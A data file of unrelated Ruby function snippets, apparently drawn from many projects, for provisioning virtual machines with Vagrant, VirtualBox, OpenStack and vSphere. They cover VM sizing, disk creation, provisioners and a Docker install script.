"def stdopt(\n config, hostname:, cpus: 1, memory_mb: 1024, box: \"ubuntu/focal64\"\n)\n config.vm.box = box\n config.vm.hostname = hostname\n\n config.ssh.forward_agent = true\n\n config.vm.synced_folder \".\", \"/host_share\"\n\n config.vm.provider \"virtualbox\" do |vbox|\n vbox.linked_clone = true\n vbox.cpus = cpus\n vbox.memory = memory_mb\n # Force allocation of all specified VM memory at start. Change the 1 below\n # to 0 to allow for \"as needed allocation\".\n vbox.customize [\"setextradata\", :id, \"VBoxInternal/RamPreAlloc\", 1]\n end\nend",
"def copy_script(vagrantcfg, source, target)\n vagrantcfg.vm.provision \"file\", source: source, destination: target\n vagrantcfg.vm.provision \"shell\", inline: \"dos2unix #{target}\"\n vagrantcfg.vm.provision \"shell\", inline: \"chmod a+x #{target}\"\nend",
"def vbox_host?\n host = false\n if !virtualization.nil? && (virtualization[\"system\"] == \"vbox\" || virtualization[\"systems\"][\"vbox\"] == \"host\")\n host = true if which(\"VBoxManage\")\n end\n host\n end",
"def run_provisioner(env, p)\n env[:ui].info(I18n.t(\"vagrant.actions.vm.provision.beginning\",\n :provisioner => p.class))\n\n p.provision\n end",
"def boot_openstack_inception_vm\n say \"\" # glowing whitespace\n\n unless settings[\"inception\"] && settings[\"inception\"][\"server_id\"]\n username = \"ubuntu\"\n say \"Provisioning server for inception VM...\"\n settings[\"inception\"] ||= {}\n\n # Select OpenStack flavor\n if settings[\"inception\"][\"flavor_id\"]\n inception_flavor = fog_compute.flavors.find { |f| f.id == settings[\"inception\"][\"flavor_id\"] }\n settings[\"inception\"][\"flavor_id\"] = nil if inception_flavor.nil?\n end\n unless settings[\"inception\"][\"flavor_id\"]\n say \"\"\n hl.choose do |menu|\n menu.prompt = \"Choose OpenStack flavor: \"\n fog_compute.flavors.each do |flavor|\n menu.choice(flavor.name) do\n inception_flavor = flavor\n settings[\"inception\"][\"flavor_id\"] = inception_flavor.id\n save_settings!\n end\n end\n end\n end\n say \"\"\n confirm \"Using flavor #{inception_flavor.name} for Inception VM\"\n\n # Select OpenStack image\n if settings[\"inception\"][\"image_id\"]\n inception_image = fog_compute.images.find { |i| i.id == settings[\"inception\"][\"image_id\"] }\n settings[\"inception\"][\"image_id\"] = nil if inception_image.nil?\n end\n unless settings[\"inception\"][\"image_id\"]\n say \"\"\n hl.choose do |menu|\n menu.prompt = \"Choose OpenStack image (Ubuntu): \"\n fog_compute.images.each do |image|\n menu.choice(image.name) do\n inception_image = image\n settings[\"inception\"][\"image_id\"] = inception_image.id\n save_settings!\n end\n end\n end\n end\n say \"\"\n confirm \"Using image #{inception_image.name} for Inception VM\"\n\n key_name = settings[\"inception\"][\"key_pair\"][\"name\"]\n\n # Boot OpenStack server\n server = fog_compute.servers.create(\n :name => \"Inception VM\",\n :key_name => key_name,\n :private_key_path => inception_vm_private_key_path,\n :flavor_ref => inception_flavor.id,\n :image_ref => inception_image.id,\n :security_groups => [settings[\"inception\"][\"security_group\"]],\n :username => username\n )\n server.wait_for { ready? }\n unless server\n error \"Something mysteriously cloudy happened and fog could not provision a VM. Please check your limits.\"\n end\n\n settings[\"inception\"].delete(\"create_new\")\n settings[\"inception\"][\"server_id\"] = server.id\n settings[\"inception\"][\"username\"] = username\n save_settings!\n end\n\n server ||= fog_compute.servers.get(settings[\"inception\"][\"server_id\"])\n\n unless settings[\"inception\"][\"ip_address\"]\n say \"Provisioning IP address for inception VM...\"\n ip_address = acquire_ip_address\n associate_ip_address_with_server(ip_address, server)\n\n settings[\"inception\"][\"ip_address\"] = ip_address\n save_settings!\n end\n\n # TODO: Hack\n unless server.public_ip_address\n server.addresses[\"public\"] = [settings[\"inception\"][\"ip_address\"]]\n end\n unless server.private_key_path\n server.private_key_path = inception_vm_private_key_path\n end\n server.username = settings[\"inception\"][\"username\"]\n Fog.wait_for(60) { server.sshable? }\n\n unless settings[\"inception\"][\"disk_size\"]\n disk_size = prompt_for_disk_space(\"Inception VM\", DEFAULT_INCEPTION_VOLUME_SIZE)\n device = \"/dev/vdc\"\n provision_and_mount_volume(server, disk_size, device)\n\n settings[\"inception\"][\"disk_size\"] = disk_size\n settings[\"inception\"][\"disk_device\"] = device\n save_settings!\n end\n\n # settings[\"inception\"][\"host\"] is used externally to determine\n # if an inception VM has been assigned already; so we leave it\n # until last in this method to set this setting.\n # This way we can always rerun the CLI and rerun this method\n # and idempotently get an inception VM\n unless settings[\"inception\"][\"host\"]\n settings[\"inception\"][\"host\"] = settings[\"inception\"][\"ip_address\"]\n save_settings!\n end\n\n confirm \"Inception VM has been created\"\n display_inception_ssh_access\n end",
"def configure_vbox_vm(client_name,client_mac,client_os)\n check_vbox_is_installed()\n if $default_vm_network.match(/hostonly/)\n vbox_nic_name = check_vbox_hostonly_network()\n end\n vbox_vm_dir = get_vbox_vm_dir(client_name)\n vbox_disk_name = vbox_vm_dir+\"/\"+client_name+\".vdi\"\n vbox_socket_name = \"/tmp/#{client_name}\"\n vbox_controller = get_vbox_controller()\n check_vbox_vm_doesnt_exist(client_name)\n register_vbox_vm(client_name,client_os)\n add_controller_to_vbox_vm(client_name,vbox_controller)\n create_vbox_hdd(client_name,vbox_disk_name)\n add_hdd_to_vbox_vm(client_name,vbox_disk_name)\n add_memory_to_vbox_vm(client_name)\n vbox_socket_name = add_socket_to_vbox_vm(client_name)\n add_serial_to_vbox_vm(client_name)\n if $default_vm_network.match(/bridged/)\n vbox_nic_name = get_bridged_vbox_nic()\n add_bridged_network_to_vbox_vm(client_name,vbox_nic_name)\n else\n add_nonbridged_network_to_vbox_vm(client_name,vbox_nic_name)\n end\n set_vbox_vm_boot_priority(client_name)\n add_cdrom_to_vbox_vm(client_name)\n if client_mac.match(/[0-9]/)\n change_vbox_vm_mac(client_name,client_mac)\n else\n client_mac = get_vbox_vm_mac(client_name)\n end\n if $client_os == \"ESXi\"\n configure_vmware_esxi_vbox_vm(client_name)\n end\n puts \"Created:\\tVirtualBox VM \"+client_name+\" with MAC address \"+client_mac\n return\nend",
"def clone_vm\n\n resource[:network_interfaces] = resource[:network_interfaces].reject do |n|\n n['portgroup']== 'VM Network'\n end\n\n vm_name = resource[:name]\n\n dc = vim.serviceInstance.find_datacenter(resource[:template_datacenter])\n template = findvm_by_name(dc.vmFolder, resource[:template]) or raise(Puppet::Error, \"Unable to find template #{resource[:template]}.\")\n template_cd_drive = template.config.hardware.device.select{ |d|d.deviceInfo.label.include?(\"CD/DVD\")}\n\n vm_devices=[]\n if resource[:network_interfaces]\n template_networks = template.config.hardware.device.collect{|x| x if x.class < RbVmomi::VIM::VirtualEthernetCard}.compact\n delete_network_specs = template_networks.collect do |nic|\n RbVmomi::VIM.VirtualDeviceConfigSpec(\n :device => nic,\n :operation => RbVmomi::VIM.VirtualDeviceConfigSpecOperation('remove')\n )\n end\n vm_devices.push(*delete_network_specs)\n vm_devices.push(*network_specs)\n vm_devices.push(*cdrom_spec) if template_cd_drive.empty?\n end\n\n config_spec = RbVmomi::VIM.VirtualMachineConfigSpec(\n :name => vm_name,\n :memoryMB => resource[:memory_mb],\n :numCPUs => resource[:num_cpus],\n :numCoresPerSocket => resource[:num_cpus],\n :deviceChange => vm_devices\n )\n\n if resource[:guest_custom_spec]\n # get the vm custom spec from the inventory\n specManager = vim.serviceContent.customizationSpecManager\n vm_custom_spec_name = resource[:guest_custom_spec]\n customization = specManager.GetCustomizationSpec(:name => vm_custom_spec_name)\n if customization.nil?\n raise(Puppet::Error, \"SpecManager could not find the guest customization spec, '#{vm_custom_spec_name}'\")\n end\n spec = RbVmomi::VIM.VirtualMachineCloneSpec(\n :location => relocate_spec,\n :powerOn => (resource[:power_state] == :poweredOn),\n :template => false,\n :customization => customization.spec,\n :config => config_spec\n )\n elsif resource[:guest_customization].to_s == 'true'\n Puppet.notice \"Customizing the guest OS.\"\n # Calling getguestcustomization_spec method in case guestcustomization\n # parameter is specified with value true\n network_interfaces = template.summary.config.numEthernetCards\n spec = RbVmomi::VIM.VirtualMachineCloneSpec(\n :location => relocate_spec,\n :powerOn => (resource[:power_state] == :poweredOn),\n :template => false,\n :customization => customization_spec(network_interfaces),\n :config => config_spec\n )\n else\n spec = RbVmomi::VIM.VirtualMachineCloneSpec(\n :location => relocate_spec,\n :powerOn => (resource[:power_state] == :poweredOn),\n :template => false,\n :config => config_spec\n )\n end\n\n template.CloneVM_Task(\n :folder => datacenter.vmFolder,\n :name => vm_name,\n :spec => spec\n ).wait_for_completion\n end",
"def configure_vm(vm, **opts)\n\n vm.box = opts.fetch(:box, \"bento/ubuntu-16.04\")\n vm.network :private_network, ip: opts[:private_ip]\n\n vm.provider \"virtualbox\" do |vb|\n vb.memory = 4096\n vb.cpus = 2\n end\n \n # Disable default share, because we dont use it\n vm.synced_folder \".\", \"/vagrant\", disabled: true\nend",
"def configure_nb_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n client_os = \"NetBSD\"\n if client_arch.match(/x86_64/)\n client_os = client_os+\"_64\"\n end\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def main\n platform = @handle.root['platform']\n @handle.log(\"info\", \"Detected Platform:<#{platform}>\")\n\n if platform.nil?\n source_id = @handle.root['dialog_input_src_vm_id']\n source = @handle.vmdb('vm_or_template', source_id) unless source_id.nil?\n platform = source ? source.model_suffix.downcase : \"vmware\"\n end\n\n dialog_name_prefix = \"miq_provision_#{platform}_dialogs\"\n @handle.object['dialog_name_prefix'] = dialog_name_prefix\n @handle.log(\"info\", \"Platform:<#{platform}> dialog_name_prefix:<#{dialog_name_prefix}>\")\n end",
"def make_virtualbox_vm(options)\n @colour.notify \"Ensuring following commands run from directory '#{options[:project_dir]}/Vagrantfile'\"\n @colour.notify 'Executing vagrant up (this may take a while)'\n\n system \"cd '#{options[:project_dir]}' && vagrant up #{'--debug' if options[:debug]} #{'--no-color' if options[:disable_colour]}\"\n\n return options\nend",
"def create_libvirt_pool\n delete_libvirt_pool if run_command('sudo virsh pool-info default')[:value].success?\n images_dir = \"#{ENV['HOME']}/libvirt-images\"\n all_commands = [\n \"sudo mkdir -p #{images_dir}\",\n \"sudo virsh pool-create-as default dir --target #{images_dir}\"\n ].concat(allow_others_recursively_commands(images_dir))\n result = run_sequence(all_commands)[:value]\n if result.success?\n Result.ok('Successfully installed vagrant plugins')\n else\n Result.error('Could not install vagrant plugins')\n end\n end",
"def provision_ssh(args)\n env = config.env.map { |k,v| \"#{k}=#{quote_and_escape(v.to_s)}\" }\n env = env.join(\" \")\n\n command = \"chmod +x '#{config.upload_path}'\"\n command << \" &&\"\n command << \" #{env}\" if !env.empty?\n command << \" #{config.upload_path}#{args}\"\n\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n user = info[:username]\n comm.sudo(\"chown -R #{user} #{config.upload_path}\",\n error_check: false)\n\n comm.upload(path.to_s, config.upload_path)\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: config.privileged,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def virtual_guest_template\n template = {\n \"startCpus\" => @cores.to_i,\n \"maxMemory\" => @memory.to_i * 1024, # we let the user specify memory in GB, but the API expects maxMemory in MB.\n \"hostname\" => @hostname,\n \"domain\" => @domain,\n\n # Note : for the values below, we want to use the constants \"true\" and \"false\" not nil\n # the nil value (while false to Ruby) will not translate to XML properly\n \"localDiskFlag\" => !!@use_local_disk,\n \"hourlyBillingFlag\" => !!@hourly\n }\n\n template['dedicatedAccountHostOnlyFlag'] = true if @dedicated_host_only\n template['privateNetworkOnlyFlag'] = true if @private_network_only\n\n template['datacenter'] = {\"name\" => @datacenter.name} if @datacenter\n template['userData'] = [{'value' => @user_metadata}] if @user_metadata\n template['networkComponents'] = [{'maxSpeed'=> @max_port_speed}] if @max_port_speed\n template['postInstallScriptUri'] = @provision_script_URI.to_s if @provision_script_URI\n template['postInstallScriptUri'] = @provision_script_uri.to_s if @provision_script_uri\n template['primaryNetworkComponent'] = { \"networkVlan\" => { \"id\" => @public_vlan_id.to_i } } if @public_vlan_id\n template['primaryBackendNetworkComponent'] = { \"networkVlan\" => {\"id\" => @private_vlan_id.to_i } } if @private_vlan_id\n template['sshKeys'] = @ssh_key_ids.collect { |ssh_key_id| {'id'=> ssh_key_id.to_i } } if @ssh_key_ids\n template['supplementalCreateObjectOptions'] = @supplementalCreateObjectOptions if @supplementalCreateObjectOptions\n\n if @image_template\n template['blockDeviceTemplateGroup'] = {\"globalIdentifier\" => @image_template.global_id}\n elsif @os_reference_code\n template['operatingSystemReferenceCode'] = @os_reference_code\n end\n\n if @disks && !@disks.empty?\n template['blockDevices'] = []\n\n # According to the documentation for +createObject+,\n # device number 1 is reserved for the SWAP disk of the computing instance.\n # So we assign device 0 and then assign the rest starting at index 2.\n @disks.each_with_index do |disk, index|\n device_id = (index >= 1) ? index + 1 : index\n template['blockDevices'].push({\"device\" => \"#{device_id}\", \"diskImage\" => {\"capacity\" => disk}})\n end\n end\n\n template\n end",
"def small(config)\n config.vm.provider \"virtualbox\" do |v|\n v.memory = 512 \n v.cpus = 1\n end\nend",
"def register_vbox_vm(client_name,client_os)\n message = \"Registering:\\tVM \"+client_name\n command = \"VBoxManage createvm --name \\\"#{client_name}\\\" --ostype \\\"#{client_os}\\\" --register\"\n execute_command(message,command)\n return\nend",
"def setup(machine)\n\n machine.bindfs.debug = true\n \n machine.vm.provider :virtualbox do |provider, _|\n provider.memory = 512\n provider.cpus = 2\n end\n\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-symbol\", chown_ignore: true\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-string\", \"chown-ignore\" => true\n\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-with-option\", owner: \"root\"\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-with-flag\", \"create-as-user\" => true\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-with-short-option\", r: true\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-without-explicit-owner\", owner: nil\n\n # This should fail\n machine.bindfs.bind_folder \"/etc3\", \"/etc-nonexit\"\n\n # These should also fail\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-with-nonexistent-user\", user: \"nonuser\", after: :provision\n machine.bindfs.bind_folder \"/etc\", \"/etc-binded-with-nonexistent-group\", group: \"nongroup\", after: :provision \n\nend",
"def shell_provisioners_always(vm, host, global)\n if scripts = get_config_parameter(host, global, 'scripts_always')\n scripts.each do |script|\n vm.provision :shell, run: \"always\" do |s|\n s.path = script['script']\n s.args = script['args']\n s.name = script['name']\n end\n end\n end\nend",
"def provision_chef_client(box, key, chef_config, vm_config)\n box.vm.provision \"chef_client\" do |chef|\n set_instance_variable(chef_config, chef, 'chef_server_url')\n set_instance_variable(chef_config, chef, 'validation_key_path')\n set_instance_variable(chef_config, chef, 'delete_node', true)\n set_instance_variable(chef_config, chef, 'delete_client', true)\n provision_chef_common(chef, key, chef_config, vm_config)\n end\nend",
"def shell_provisioners_always(vm, host)\n if host.has_key?('shell_always')\n host['shell_always'].each do |script|\n vm.provision \"shell\", inline: script['cmd'], run: \"always\"\n end\n end\nend",
"def set_cpu_and_ram(vm_name, vm_config, cpu, ram) \n\n ram_in_gb = (ram / 1024.0)\n\n # round evertything that bigger that 1\n if ram_in_gb >= 1\n ram_in_gb = ram_in_gb.round\n end\n\n log_info_light(\"#{vm_name}: #{ram_in_gb}Gb RAM, #{cpu} CPU\")\n\n vm_config.vm.provider \"virtualbox\" do |v|\n \n v.linked_clone = false\n \n v.memory = ram\n v.cpus = cpu\n \n v.gui = false\n \n v.customize ['modifyvm', :id, '--clipboard', 'bidirectional'] \n v.customize [\"modifyvm\", :id, \"--vram\", 32]\n\n v.customize [\"modifyvm\", :id, \"--audio\", \"none\"]\n v.customize [\"modifyvm\", :id, \"--usb\", \"off\"]\n \n # if Vagrant::VERSION >= '2.2.3'\n # # Vagrant has detected a configuration issue which exposes a vulnerability with the installed version of VirtualBox\n # # Ensure the guest is trusted to use this configuration or update the NIC type using one of the methods below:\n # # https://www.vagrantup.com/docs/virtualbox/configuration.html#default-nic-type\n \n # v.default_nic_type = \"82543GC\"\n # end\n\n # https://github.com/hashicorp/vagrant/issues/6812#issuecomment-171981576\n # Vagrant is reconnecting from scratch, sometimes literally before each command in negotiating loop\n v.customize ['modifyvm', :id, \"--natdnshostresolver1\", \"off\"]\n end\n \n # tracking only our own boxes\n # subpoint | uplift\n box_name = 'other'\n box_version = 'other'\n\n begin\n box_name = vm_config.vm.box()\n rescue => e\n box_name = 'not_set'\n end\n\n if( box_name.to_s.downcase.start_with?('subpoint') || box_name.to_s.downcase.start_with?('uplift') ) \n begin\n box_version = vm_config.vm.box_version()\n rescue => e\n box_version = 'not_set'\n end\n else \n box_name = 'other'\n box_version = 'other'\n end\n\n data = {\n 'vm_name': vm_name,\n 'cpus': cpu,\n 'memory': ram,\n 'box_name': box_name,\n 'box_version': box_version\n }\n\n _track_ai_event(__method__, data)\n end",
"def vagrant_vm_name(name)\n return \"vagrant-#{name}-#{ENV['USER']}\"\nend",
"def provision_win16_dsc_soe(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: dsc soe config\")\n\n vm_config.vm.provision \"shell\", \n name: \"soe.dsc.ps1\",\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.win12soe/soe.dsc.ps1\",\n env: {\n \"UPLF_DSC_CHECK\" => 1\n }\n\n execute_tests(\n vm_config: vm_config, \n paths: \"#{vagrant_script_path}/vagrant/uplift.vagrant.win12soe/tests/soe.dsc.*\"\n )\n end",
"def provision_win16_dsc_shortcuts(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: dsc soe shortcuts\")\n\n vm_config.vm.provision \"shell\", \n name: \"soe.shortcuts.dsc.ps1\",\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.win12soe/soe.shortcuts.dsc.ps1\",\n env: {\n \"UPLF_DSC_CHECK\" => 1\n }\n end",
"def start\n register unless registered?\n \n VirtualBox.run_command! ['VBoxManage', '--nologo', 'startvm', uid,\n '--type', gui ? 'gui' : 'headless']\n self\n end",
"def initialize(name, provider_name, provider_cls, provider_config, provider_options, config, data_dir, box, env, vagrantfile, base=false)\n @logger = Log4r::Logger.new(\"vagrant::machine\")\n @logger.info(\"Initializing machine: #{name}\")\n @logger.info(\" - Provider: #{provider_cls}\")\n @logger.info(\" - Box: #{box}\")\n @logger.info(\" - Data dir: #{data_dir}\")\n\n @box = box\n @config = config\n @data_dir = data_dir\n @env = env\n @vagrantfile = vagrantfile\n @guest = Guest.new(\n self,\n Vagrant.plugin(\"2\").manager.guests,\n Vagrant.plugin(\"2\").manager.guest_capabilities)\n @name = name\n @provider_config = provider_config\n @provider_name = provider_name\n @provider_options = provider_options\n @ui = Vagrant::UI::Prefixed.new(@env.ui, @name)\n @ui_mutex = Mutex.new\n @state_mutex = Mutex.new\n @triggers = Vagrant::Plugin::V2::Trigger.new(@env, @config.trigger, self, @ui)\n\n # Read the ID, which is usually in local storage\n @id = nil\n\n # XXX: This is temporary. This will be removed very soon.\n if base\n @id = name\n\n # For base setups, we don't want to insert the key\n @config.ssh.insert_key = false\n else\n reload\n end\n\n # Keep track of where our UUID should be placed\n @index_uuid_file = nil\n @index_uuid_file = @data_dir.join(\"index_uuid\") if @data_dir\n\n # Initializes the provider last so that it has access to all the\n # state we setup on this machine.\n @provider = provider_cls.new(self)\n @provider._initialize(@provider_name, self)\n\n # If we're using WinRM, we eager load the plugin because of\n # GH-3390\n if @config.vm.communicator == :winrm\n @logger.debug(\"Eager loading WinRM communicator to avoid GH-3390\")\n communicate\n end\n\n # If the ID is the special not created ID, then set our ID to\n # nil so that we destroy all our data.\n if state.id == MachineState::NOT_CREATED_ID\n self.id = nil\n end\n\n # Output a bunch of information about this machine in\n # machine-readable format in case someone is listening.\n @ui.machine(\"metadata\", \"provider\", provider_name)\n end",
"def provision\n ssh_user = machine.ssh_info[:username]\n sync_dir = Vagrant::Openshift::Constants.sync_dir\n ## pause to stabilize environment to try to correct odd sudo error on aws\n sleep 2\n sudo(machine, \"mkdir -p #{sync_dir} && chown -R #{ssh_user}:#{ssh_user} #{sync_dir}\")\n end",
"def provisioned?(vm_name=\"default\", provider=\"virtualbox\")\n File.exist?(\".vagrant/machines/#{vm_name}/#{provider}/action_provision\")\nend",
"def configure_js_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n client_os = \"OpenSolaris_64\"\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def set_provider_config(vm_instance, ci_vm_definition)\n \n vm_instance.vm.provider :virtualbox do |vm|\n \n vm.linked_clone = ci_vm_definition[\"clone\"] || false\n \n vm.customize [\"modifyvm\", :id, \"--memory\", ci_vm_definition[\"memory\"] ]\n vm.customize [\"modifyvm\", :id, \"--cpus\", ci_vm_definition[\"cpu\"] ]\n\n vm.customize [\"modifyvm\", :id, \"--vram\", \"256\"]\n if ci_vm_definition[\"3d\"] == true then\n vm.customize [\"modifyvm\", :id, \"--accelerate3d\", \"on\"]\n else\n vm.customize [\"modifyvm\", :id, \"--accelerate3d\", \"off\"]\n end\n \n if ci_vm_definition[\"sound\"] == true then\n vm.customize [\"modifyvm\", :id, \"--audio\", \"null\", \"--audiocontroller\", \"hda\"]\n end\n \n vm.customize [\"modifyvm\", :id, \"--ioapic\", \"on\"]\n vm.customize [\"setextradata\", \"global\", \"GUI/SuppressMessages\", \"all\"]\n \n vm.gui = ci_vm_definition[\"gui\"] || true\n end\n \n vm_instance.vm.box = ci_vm_definition[\"box\"]\n \n end",
"def shell_provisioners_always(vm, host)\n if host.key?('shell_always')\n scripts = host['shell_always']\n\n scripts.each do |script|\n vm.provision 'shell', inline: script['cmd'], run: 'always'\n end\n end\nend",
"def provisioned?(vm_name='default', provider='virtualbox')\n File.exist?(\".vagrant/machines/#{vm_name}/#{provider}/action_provision\")\nend",
"def create_vbox_hdd(client_name,vbox_disk_name)\n message = \"Creating:\\tVM hard disk for \"+client_name\n command = \"VBoxManage createhd --filename \\\"#{vbox_disk_name}\\\" --size \\\"#{$default_vm_size}\\\"\"\n execute_command(message,command)\n return\nend",
"def add_hdd_to_vbox_vm(client_name,vbox_disk_name)\n message = \"Attaching:\\tStorage to VM \"+client_name\n command = \"VBoxManage storageattach \\\"#{client_name}\\\" --storagectl \\\"#{$vbox_disk_type}\\\" --port 0 --device 0 --type hdd --medium \\\"#{vbox_disk_name}\\\"\"\n execute_command(message,command)\n return\nend",
"def continue\n exec(\"vagrant #{ARGV[0]}\")\nend",
"def salt_provision_saferwall_box(context)\n context.vm.provision \"salt\", run: 'once' do |salt|\n salt.minion_config = \"salt/etc/minion\"\n salt.masterless = true\n salt.run_highstate = false\n salt.verbose = true\n salt.log_level = \"info\"\n salt.colorize = true\n salt.install_type = \"git\"\n salt.version = \"3003\"\n salt.python_version = \"3\"\n salt.bootstrap_options = \"-P -x python3 -c /tmp\"\n end\nend",
"def config_local_docker_registry(config)\n\n config.vm.provision \"shell\", inline: <<-SHELL\n mkdir /etc/docker/certs.d/util.io\n sshpass -p 'vagrant' scp -o StrictHostKeyChecking=no util.io:/etc/docker/certs.d/util.io/ca.crt /etc/docker/certs.d/util.io\n docker login --username=testuser --password=testpassword util.io\n SHELL\n\nend",
"def prov_install_docker(config)\n $script = <<-SCRIPT\n sudo apt-get update\n sudo apt-get -y install ca-certificates curl gnupg2 curl lsb-release software-properties-common apt-transport-https apt-utils\n curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n echo \\\n \"deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \\\n $(lsb_release -cs) stable\" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\n sudo apt-get update\n sudo apt-get install -y docker-ce docker-ce-cli containerd.io\n getent group docker >/dev/null || sudo groupadd docker\n sudo usermod -aG docker vagrant\n\n sudo curl -L \"https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\n sudo chmod +x /usr/local/bin/docker-compose\n\n DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/libexec/docker}\n sudo mkdir -p $DOCKER_CONFIG/cli-plugins\n sudo curl -SL https://github.com/docker/compose/releases/download/v2.4.0/docker-compose-linux-$(uname -m) -o $DOCKER_CONFIG/cli-plugins/docker-compose\n sudo chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose\nSCRIPT\n config.vm.provision \"install-docker\", type: \"shell\", privileged: false, reset: true, inline: $script\nend",
"def execute\n log.info 'Creating the Basic VM'\n placement_spec = VMPlacementHelper.get_placementspec_vm(service_manager.vapi_config, datacenter_name, folder_name, datastore_name)\n standard_network = NetworkHelper.get_standard_network_mapping(service_manager.vapi_config, @datacenter_name, standard_portgroup_name)\n boot_disk = VCENTER_HARDWARE_DISK_CLASS::CreateSpec.new('type' => VCENTER_HARDWARE_DISK_CLASS::HostBusAdapterType::SCSI,\n 'scsi' => VCENTER_HARDWARE_MODULE::ScsiAddressSpec.new('bus'=>0,'unit'=>0),\n 'new_vmdk' => VCENTER_HARDWARE_DISK_CLASS::VmdkCreateSpec.new() )\n data_disk = VCENTER_HARDWARE_DISK_CLASS::CreateSpec.new('new_vmdk' => VCENTER_HARDWARE_DISK_CLASS::VmdkCreateSpec.new())\n ethernet_nic_0 = VCENTER_HARDWARE_ETHERNET_CLASS::CreateSpec.new('start_connected' => true,\n 'backing' => VCENTER_HARDWARE_ETHERNET_CLASS::BackingSpec.new(\n 'type' => VCENTER_HARDWARE_ETHERNET_CLASS::BackingType::STANDARD_PORTGROUP,\n 'network' => standard_network))\n boot_device_order = [VCENTER_HARDWARE_BOOT_DEVICE_CLASS::EntryCreateSpec.new('type' => VCENTER_HARDWARE_BOOT_DEVICE_CLASS::Type::ETHERNET),\n VCENTER_HARDWARE_BOOT_DEVICE_CLASS::EntryCreateSpec.new('type' => VCENTER_HARDWARE_BOOT_DEVICE_CLASS::Type::DISK)]\n vm_create_spec = VCENTER_VM_CLASS::CreateSpec.new('name' => vm_name,\n 'guest_OS' => VCENTER_VM_GUESTOS_CLASS::WINDOWS_8_64,\n 'placement' => placement_spec,\n 'disks' => [boot_disk, data_disk],\n 'nics' => [ethernet_nic_0],\n 'boot_devices' => boot_device_order)\n log.info 'The CreateVM Spec is '\n #Pretty print the create spec of the VM.\n pp vm_create_spec\n vm_id = vm_svc.create(vm_create_spec)\n log.info \"Created vm #{vm_name} with the VM Identifier #{vm_id}\"\n end",
"def defineCommonVM(config)\n\tconfig.ssh.insert_key = true\n\n\t# Configure how much memory and CPU cores each VM should have.\n\tconfig.vm.provider :virtualbox do |vb|\n\t\tvb.gui = $vmGUIEnabled\n\t\tvb.memory = $vmMemory\n\t\tvb.cpus = $vmCPUCores\n\tend\nend",
"def ubuntu_box(config, version)\n config.vm.box = \"opscode-ubuntu-#{version}\" \n config.vm.box_url = \"http://opscode-vm-bento.s3.amazonaws.com/vagrant/virtualbox/opscode_ubuntu-#{version}_chef-provisionerless.box\"\nend",
"def provision_storage host, vm\n if host['volumes']\n # Lazily create the volume client if needed\n volume_client_create\n host['volumes'].keys.each_with_index do |volume, index|\n @logger.debug \"Creating volume #{volume} for OpenStack host #{host.name}\"\n\n # The node defintion file defines volume sizes in MB (due to precedent\n # with the vagrant virtualbox implementation) however OpenStack requires\n # this translating into GB\n openstack_size = host['volumes'][volume]['size'].to_i / 1000\n\n # Create the volume and wait for it to become available\n vol = @volume_client.volumes.create(\n :size => openstack_size,\n :display_name => volume,\n :description => \"Beaker volume: host=#{host.name} volume=#{volume}\",\n )\n vol.wait_for { ready? }\n\n # Fog needs a device name to attach as, so invent one. The guest\n # doesn't pay any attention to this\n device = \"/dev/vd#{('b'.ord + index).chr}\"\n vm.attach_volume(vol.id, device)\n end\n end\n end",
"def file_provisioners(vm, host, global)\n if fps = get_config_parameter(host, global, 'file_provisioning')\n fps.each do |fp|\n vm.provision :file, source: fp['source'], destination: fp['destination']\n end\n end\nend",
"def prepare_master_kubeconfig(config)\n\n config.vm.provision \"shell\", inline: <<-SHELL\n mkdir -p /home/vagrant/.kube\n cp -i /etc/kubernetes/admin.conf /home/vagrant/.kube/config\n chown vagrant:vagrant /home/vagrant/.kube/config\n mkdir -p $HOME/.kube\n cp -i /etc/kubernetes/admin.conf $HOME/.kube/config\n chown $(id -u):$(id -g) $HOME/.kube/config\n SHELL\n\nend",
"def provision_system(node)\n node.vm.provision :hosts, :sync_hosts => true\n node.vm.provision :ansible do |ansible|\n ansible.playbook = 'ansible/site.yml'\n ansible.become = true\n ansible.verbose = false\n ansible.limit = :all\n ansible.groups = {\n 'master' => [fqdn(1)],\n 'node' => [fqdn(2)]\n }\n end\nend",
